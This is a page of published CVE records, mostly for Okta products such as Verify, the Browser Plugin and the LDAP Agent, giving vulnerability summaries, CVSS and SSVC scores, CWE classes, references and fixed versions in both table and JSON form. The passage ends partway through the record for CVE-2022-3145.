okta	verify	Affected: 9.25.1 Affected: 9.27.0 cpe:2.3:a:okta:verify::::::::

Date Public

2024-10-24 20:15

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:okta:verify:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "verify",
            "vendor": "okta",
            "versions": [
              {
                "status": "affected",
                "version": "9.25.1"
              },
              {
                "status": "affected",
                "version": "9.27.0"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-10327",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-25T15:21:49.116020Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-25T15:22:54.766Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Okta Verify for iOS",
          "vendor": "Okta",
          "versions": [
            {
              "status": "affected",
              "version": "9.25.1",
              "versionType": "semver"
            },
            {
              "status": "affected",
              "version": "9.27.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "datePublic": "2024-10-24T20:15:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "A vulnerability in Okta Verify for iOS versions 9.25.1 (beta) and 9.27.0 (including beta) allows push notification responses through the iOS ContextExtension feature allowing the authentication to proceed regardless of the user\u2019s selection. When a user long-presses the notification banner and selects an option, both options allow the authentication to succeed. \nThe ContextExtension feature is one of several push mechanisms available when using Okta Verify Push on iOS devices. The vulnerable flows include: \n* When a user is presented with a notification on a locked screen, the user presses on the notification directly and selects their reply without unlocking the device; \n* When a user is presented with a notification on the home screen and drags the notification down and selects their reply; \n* When an Apple Watch is used to reply directly to a notification. \n\n A pre-condition for this vulnerability is that the user must have enrolled in Okta Verify while the Okta customer was using Okta Classic. This applies irrespective of whether the organization has since upgraded to Okta Identity Engine."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-287",
              "description": "CWE-287 Improper Authentication",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-10-24T20:20:37.434Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://trust.okta.com/security-advisories/okta-verify-for-ios-cve-2024-10327/"
        },
        {
          "url": "https://help.okta.com/en-us/content/topics/releasenotes/okta-verify-release-notes.htm#panel2"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "value": "The vulnerability is resolved in Okta Verify for iOS version 9.27.2. To remediate this vulnerability, upgrade Okta Verify for iOS to version 9.27.2 or greater."
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2024-10327",
    "datePublished": "2024-10-24T20:17:59.360Z",
    "dateReserved": "2024-10-23T23:57:14.831Z",
    "dateUpdated": "2024-10-25T15:22:54.766Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2024-7061 (GCVE-0-2024-7061)

Vulnerability from cvelistv5 – Published: 2024-08-07 16:35 – Updated: 2024-08-09 13:44

Summary

Okta Verify for Windows is vulnerable to privilege escalation through DLL hijacking. The vulnerability is fixed in Okta Verify for Windows version 5.0.2. To remediate this vulnerability, upgrade to 5.0.2 or greater.

Severity

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory
CWE-427 - Uncontrolled Search Path or Element

Assigner

Okta

References

2 references

URL	Tags
https://trust.okta.com/security-advisories/okta-v…	vendor-advisory
https://help.okta.com/oie/en-us/content/topics/re…

Impacted products

1 product

Vendor	Product	Version
Okta	Okta Verify for Windows	Affected: 5.0.1 , < 5.0.1 (semver) Unaffected: 5.0.2 (semver)

Date Public

2024-08-07 17:00

Credits

Okta would like to thank Ryan Wincey of Securifera, Inc. for discovering this vulnerability.

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-7061",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-08-09T13:44:41.455152Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-08-09T13:44:51.144Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Okta Verify for Windows",
          "vendor": "Okta",
          "versions": [
            {
              "lessThan": "5.0.1",
              "status": "affected",
              "version": "5.0.1",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "5.0.2",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "Okta would like to thank Ryan Wincey of Securifera, Inc. for discovering this vulnerability."
        }
      ],
      "datePublic": "2024-08-07T17:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "Okta Verify for Windows is vulnerable to privilege escalation through DLL hijacking. The vulnerability is fixed in Okta Verify for Windows version 5.0.2. To remediate this vulnerability, upgrade to 5.0.2 or greater."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "NONE",
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22 Improper Limitation of a Pathname to a Restricted Directory",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-427",
              "description": "CWE-427 Uncontrolled Search Path or Element",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-08-07T16:37:01.719Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://trust.okta.com/security-advisories/okta-verify-for-windows-privilege-escalation-cve-2024-7061/"
        },
        {
          "url": "https://help.okta.com/oie/en-us/content/topics/releasenotes/oie-ov-release-notes.htm#panel4"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "value": "The vulnerability is fixed in Okta Verify for Windows version 5.0.2. To remediate this vulnerability, upgrade to 5.0.2 or greater."
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2024-7061",
    "datePublished": "2024-08-07T16:35:44.403Z",
    "dateReserved": "2024-07-23T21:04:37.452Z",
    "dateUpdated": "2024-08-09T13:44:51.144Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2024-0981 (GCVE-0-2024-0981)

Vulnerability from cvelistv5 – Published: 2024-07-23 20:49 – Updated: 2024-08-01 18:26

Summary

Okta Browser Plugin versions 6.5.0 through 6.31.0 (Chrome/Edge/Firefox/Safari) are vulnerable to cross-site scripting. This issue occurs when the plugin prompts the user to save these credentials within Okta Personal. A fix was implemented to properly escape these fields, addressing the vulnerability. Importantly, if Okta Personal is not added to the plugin to enable multi-account view, the Workforce Identity Cloud plugin is not affected by this issue. The vulnerability is fixed in Okta Browser Plugin version 6.32.0 for Chrome/Edge/Safari/Firefox.

Severity

7.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)

Assigner

Okta

References

1 reference

URL	Tags
https://trust.okta.com/security-advisories/okta-b…	vendor-advisory

Impacted products

1 product

Vendor	Product	Version
Okta	Okta Browser Plugin	Affected: 6.5.0 through 6.31.0 (semver) Unaffected: 6.32.0 (semver)

Date Public

2024-07-23 21:00

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-0981",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-07-24T13:21:12.411913Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-26T17:55:53.987Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-01T18:26:30.219Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "vendor-advisory",
              "x_transferred"
            ],
            "url": "https://trust.okta.com/security-advisories/okta-browser-plugin-reflected-cross-site-scripting-cve-2024-0981"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Okta Browser Plugin",
          "vendor": "Okta",
          "versions": [
            {
              "status": "affected",
              "version": "6.5.0 through 6.31.0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "6.32.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "datePublic": "2024-07-23T21:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "Okta Browser Plugin versions 6.5.0 through 6.31.0 (Chrome/Edge/Firefox/Safari) are vulnerable to cross-site scripting. This issue occurs when the plugin prompts the user to save these credentials within Okta Personal. A fix was implemented to properly escape these fields, addressing the vulnerability. Importantly, if Okta Personal is not added to the plugin to enable multi-account view, the Workforce Identity Cloud plugin is not affected by this issue. The vulnerability is fixed in Okta Browser Plugin version 6.32.0 for Chrome/Edge/Safari/Firefox."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79 Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-07-23T20:53:13.772Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://trust.okta.com/security-advisories/okta-browser-plugin-reflected-cross-site-scripting-cve-2024-0981"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "value": "The vulnerability is fixed in Okta Browser Plugin version 6.32.0 for Chrome/Edge/Safari/Firefox."
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2024-0981",
    "datePublished": "2024-07-23T20:49:31.774Z",
    "dateReserved": "2024-01-26T22:42:26.526Z",
    "dateUpdated": "2024-08-01T18:26:30.219Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2024-0980 (GCVE-0-2024-0980)

Vulnerability from cvelistv5 – Published: 2024-03-27 23:16 – Updated: 2024-08-01 18:26

Summary

The Auto-update service for Okta Verify for Windows is vulnerable to two flaws which in combination could be used to execute arbitrary code.

Severity

7.1 (High)


                        
                          CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory
CWE-427 - Uncontrolled Search Path or Element

Assigner

Okta

References

1 reference

URL	Tags
https://trust.okta.com/security-advisories/okta-v…

Impacted products

2 products

Vendor	Product	Version
Okta	Okta Verify for Windows	Affected: 0 , < 4.10.7 (semver)
okta	verify	Affected: 0 , < 4.10.7 (semver) cpe:2.3:a:okta:verify::::::::

Credits

Okta would like to thank Ryan Wincey of Securifera, Inc. for providing information in addressing this vulnerability.

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:okta:verify:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "verify",
            "vendor": "okta",
            "versions": [
              {
                "lessThan": "4.10.7",
                "status": "affected",
                "version": "0",
                "versionType": "semver"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "ADJACENT_NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 7.1,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-0980",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-03-30T04:00:54.049277Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-18T20:01:32.632Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-01T18:26:30.489Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://trust.okta.com/security-advisories/okta-verify-windows-auto-update-arbitrary-code-execution-cve-2024-0980"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Okta Verify for Windows",
          "vendor": "Okta",
          "versions": [
            {
              "lessThan": "4.10.7",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "Okta would like to thank Ryan Wincey of Securifera, Inc. for providing information in addressing this vulnerability."
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Auto-update service for Okta Verify for Windows is vulnerable to two flaws which in combination could be used to execute arbitrary code."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "Improper Limitation of a Pathname to a Restricted Directory",
              "lang": "en"
            },
            {
              "cweId": "CWE-427",
              "description": "Uncontrolled Search Path or Element",
              "lang": "en"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-03-28T16:59:21.177Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "url": "https://trust.okta.com/security-advisories/okta-verify-windows-auto-update-arbitrary-code-execution-cve-2024-0980"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2024-0980",
    "datePublished": "2024-03-27T23:16:37.513Z",
    "dateReserved": "2024-01-26T22:42:20.854Z",
    "dateUpdated": "2024-08-01T18:26:30.489Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2023-0392 (GCVE-0-2023-0392)

Vulnerability from cvelistv5 – Published: 2023-11-08 20:37 – Updated: 2024-09-04 16:02

Summary

The LDAP Agent Update service with versions prior to 5.18 used an unquoted path, which could allow arbitrary code execution.

Severity

3.9 (Low)


                        
                          CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-428 - Unquoted Search Path or Element

Assigner

Okta

References

1 reference

URL	Tags
https://trust.okta.com/security-advisories/okta-l…

Impacted products

2 products

Vendor	Product	Version
Okta	LDAP Agent	Affected: 0 , < 5.18 (semver)
okta	ldap_agent	Affected: 0 , < 5.18 (custom) cpe:2.3:a:okta:ldap_agent::::::::

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T05:10:55.607Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://trust.okta.com/security-advisories/okta-ldap-agent-cve-2023-0392"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:okta:ldap_agent:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "ldap_agent",
            "vendor": "okta",
            "versions": [
              {
                "lessThan": "5.18",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "LOCAL",
              "availabilityImpact": "LOW",
              "baseScore": 3.9,
              "baseSeverity": "LOW",
              "confidentialityImpact": "LOW",
              "integrityImpact": "LOW",
              "privilegesRequired": "HIGH",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2023-0392",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-04T16:02:43.869848Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-428",
                "description": "CWE-428 Unquoted Search Path or Element",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-04T16:02:49.750Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "LDAP Agent",
          "vendor": "Okta",
          "versions": [
            {
              "lessThan": "5.18",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The LDAP Agent Update service with versions prior to 5.18 used an unquoted path, which could allow arbitrary code execution."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-428",
              "description": "Unquoted Search Path or Element",
              "lang": "en"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-11-08T20:37:14.786Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "url": "https://trust.okta.com/security-advisories/okta-ldap-agent-cve-2023-0392"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2023-0392",
    "datePublished": "2023-11-08T20:37:14.786Z",
    "dateReserved": "2023-01-18T20:11:49.233Z",
    "dateUpdated": "2024-09-04T16:02:49.750Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2021-45094 (GCVE-0-2021-45094)

Vulnerability from cvelistv5 – Published: 2023-07-20 00:00 – Updated: 2024-10-24 16:50

Summary

Imprivata Privileged Access Management (formally Xton Privileged Access Management) 2.3.202112051108 allows XSS.

Severity

No CVSS data available.

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

n/a

Assigner

mitre

References

3 references

URL	Tags
https://www.imprivata.com/privileged-access-management
https://aegis9.com.au/blog/
https://www.aegis9.com.au/blog/5/

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-04T04:32:13.620Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://www.imprivata.com/privileged-access-management"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://aegis9.com.au/blog/"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://www.aegis9.com.au/blog/5/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2021-45094",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-24T16:50:34.527558Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-24T16:50:46.826Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Imprivata Privileged Access Management (formally Xton Privileged Access Management) 2.3.202112051108 allows XSS."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-07-20T00:00:00.000Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "url": "https://www.imprivata.com/privileged-access-management"
        },
        {
          "url": "https://aegis9.com.au/blog/"
        },
        {
          "url": "https://www.aegis9.com.au/blog/5/"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2021-45094",
    "datePublished": "2023-07-20T00:00:00.000Z",
    "dateReserved": "2021-12-16T00:00:00.000Z",
    "dateUpdated": "2024-10-24T16:50:46.826Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2023-0093 (GCVE-0-2023-0093)

Vulnerability from cvelistv5 – Published: 2023-03-06 00:00 – Updated: 2025-03-06 19:42

Summary

Okta Advanced Server Access Client versions 1.13.1 through 1.65.0 are vulnerable to command injection due to the third party library webbrowser. An outdated library, webbrowser, used by the ASA client was found to be vulnerable to command injection. To exploit this issue, an attacker would need to phish the user to enter an attacker controlled server URL during enrollment.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

Command Injection
CWE-77 - Improper Neutralization of Special Elements used in a Command ('Command Injection')

Assigner

Okta

References

1 reference

URL	Tags
https://trust.okta.com/security-advisories/okta-a…

Impacted products

1 product

Vendor	Product	Version
Okta	Advanced Server Access	Affected: 1.13.1 through 1.65.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T05:02:43.461Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://trust.okta.com/security-advisories/okta-advanced-server-access-client-cve-2023-0093/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 8.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "REQUIRED",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2023-0093",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-03-06T19:39:33.009371Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-77",
                "description": "CWE-77 Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-03-06T19:42:29.370Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Advanced Server Access",
          "vendor": "Okta",
          "versions": [
            {
              "status": "affected",
              "version": "1.13.1 through 1.65.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Okta Advanced Server Access Client versions 1.13.1 through 1.65.0 are vulnerable to command injection due to the third party library webbrowser. An outdated library, webbrowser, used by the ASA client was found to be vulnerable to command injection. To exploit this issue, an attacker would need to phish the user to enter an attacker controlled server URL during enrollment."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "Command Injection",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-03-06T00:00:00.000Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "url": "https://trust.okta.com/security-advisories/okta-advanced-server-access-client-cve-2023-0093/"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2023-0093",
    "datePublished": "2023-03-06T00:00:00.000Z",
    "dateReserved": "2023-01-05T00:00:00.000Z",
    "dateUpdated": "2025-03-06T19:42:29.370Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2022-3145 (GCVE-0-2022-3145)

Vulnerability from cvelistv5 – Published: 2023-01-12 00:00 – Updated: 2025-04-08 13:37

Summary

An open redirect vulnerability exists in Okta OIDC Middleware prior to version 5.0.0 allowing an attacker to redirect a user to an arbitrary URL.

Severity

4.7 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

Open Redirect
